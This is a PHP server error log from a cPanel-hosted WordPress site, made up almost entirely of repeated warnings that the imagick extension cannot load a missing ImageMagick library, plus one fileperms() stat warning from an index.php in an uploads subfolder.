[28-Aug-2026 08:30:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:30:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:19 America/Sao_Paulo] PHP Warning:  fileperms(): stat failed for /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/html-api.zip in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php on line 138
[28-Aug-2026 08:31:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:31:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
